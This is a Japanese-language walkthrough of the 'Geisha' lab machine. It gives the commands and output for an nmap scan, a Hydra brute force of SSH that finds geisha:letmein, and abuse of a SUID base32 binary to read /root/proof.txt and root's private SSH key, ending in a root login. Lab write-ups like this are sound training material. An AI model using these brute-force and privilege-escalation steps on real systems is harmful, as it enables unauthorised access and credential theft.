Geisha

Nmap

```
$ ports=$(nmap -p- --min-rate=1000 -T4 192.168.178.82 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

$ echo $ports
21,22,80,3389,7080,7125,8088,9198,30426,64073
```

詳細なポート調査.

```
$ nmap -p$ports -sV -A 192.168.178.82

Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-22 20:28 JST
Nmap scan report for 192.168.178.82
Host is up (0.24s latency).

PORT      STATE  SERVICE       VERSION
21/tcp    open   ftp           vsftpd 3.0.3
22/tcp    open   ssh           OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 1b:f2:5d:cd:89:13:f2:49:00:9f:8c:f9:eb:a2:a2:0c (RSA)
|   256 31:5a:65:2e:ab:0f:59:ab:e0:33:3a:0c:fc:49:e0:5f (ECDSA)
|_  256 c6:a7:35:14:96:13:f8:de:1e:e2:bc:e7:c7:66:8b:ac (ED25519)
80/tcp    open   http          Apache httpd 2.4.38 ((Debian))
|_http-title: Geisha
|_http-server-header: Apache/2.4.38 (Debian)
3389/tcp  open   http          nginx 1.14.2
|_http-title: Seppuku
|_http-server-header: nginx/1.14.2
7080/tcp  open   ssl/empowerid LiteSpeed
|_http-title: Did not follow redirect to https://192.168.178.82:7080/
|_ssl-date: TLS randomness does not represent time
|_http-server-header: LiteSpeed
| ssl-cert: Subject: commonName=geisha/organizationName=webadmin/countryName=US
| Not valid before: 2020-05-09T14:01:34
|_Not valid after:  2022-05-09T14:01:34
| tls-alpn:
|   h2
|   spdy/3
|   spdy/2
|_  http/1.1
7125/tcp  open   http          nginx 1.17.10
|_http-title: Geisha
|_http-server-header: nginx/1.17.10
8088/tcp  open   http          LiteSpeed httpd
|_http-title: Geisha
|_http-server-header: LiteSpeed
9198/tcp  open   http          SimpleHTTPServer 0.6 (Python 2.7.16)
|_http-server-header: SimpleHTTP/0.6 Python/2.7.16
```

```
|_http-title: Geisha
30426/tcp closed unknown
64073/tcp closed unknown
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 52.84 seconds
```

SSH - 22TCP

ブルートフォース攻撃をする．

```
$ hydra -l geisha -P /usr/share/wordlists/metasploit/unix_passwords.txt 192.168.178.82 ssh -V -t 24
<snip>
[22][ssh] host: 192.168.178.82   login: geisha   password: letmein
1 of 1 target successfully completed, 1 valid password found
```

パスワードを見つけることができた．

`geisha:letmein` でログインする．

```
$ ssh geisha@192.168.178.82
geisha@192.168.178.82's password:
Linux geisha 4.19.0-8-amd64 #1 SMP Debian 4.19.98-1+deb10u1 (2020-04-27) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
geisha@geisha:~$ ls
local.txt
```

SUID binaries を探す．

```
geisha@geisha:~$ find / -perm -u=s -type f 2>/dev/null
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/umount
/usr/bin/su
/usr/bin/chsh
/usr/bin/base32
/usr/bin/sudo
/usr/bin/fusermount
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/mount
```

GTFOBins より `/usr/bin/base32` が権限昇格に使えそう.

所有者が `root` であることを確認する.

```
geisha@geisha:~$ ls -la /usr/bin/base32
-rwsr-sr-x 1 root root 43712 Feb 28  2019 /usr/bin/base32
```

`/root/proof.txt` が存在すると仮定してファイルにアクセスしてみる.

```
geisha@geisha:~$ LFILE=/root/proof.txt
geisha@geisha:~$ /usr/bin/base32 "$LFILE" | /usr/bin/base32 --decode
7830c42f49911560c3ab6d26bc0afaad
```

Conglaturations!

Appendix

完全な権限昇格をするには `/root/.ssh/id_rsa` を取得する.

```
geisha@geisha:~$ LFILE=/root/.ssh/id_rsa
geisha@geisha:~$ /usr/bin/base32 "$LFILE" | /usr/bin/base32 --decode > id_rsa
```

SSHの鍵は権限の変更を忘れずに.

```
geisha@geisha:~$ chmod 600 id_rsa
```

取得した鍵で `root` にログインする.

```
geisha@geisha:~$ ssh -i id_rsa root@localhost
<snip>
root@geisha:~# id
uid=0(root) gid=0(root) groups=0(root)
```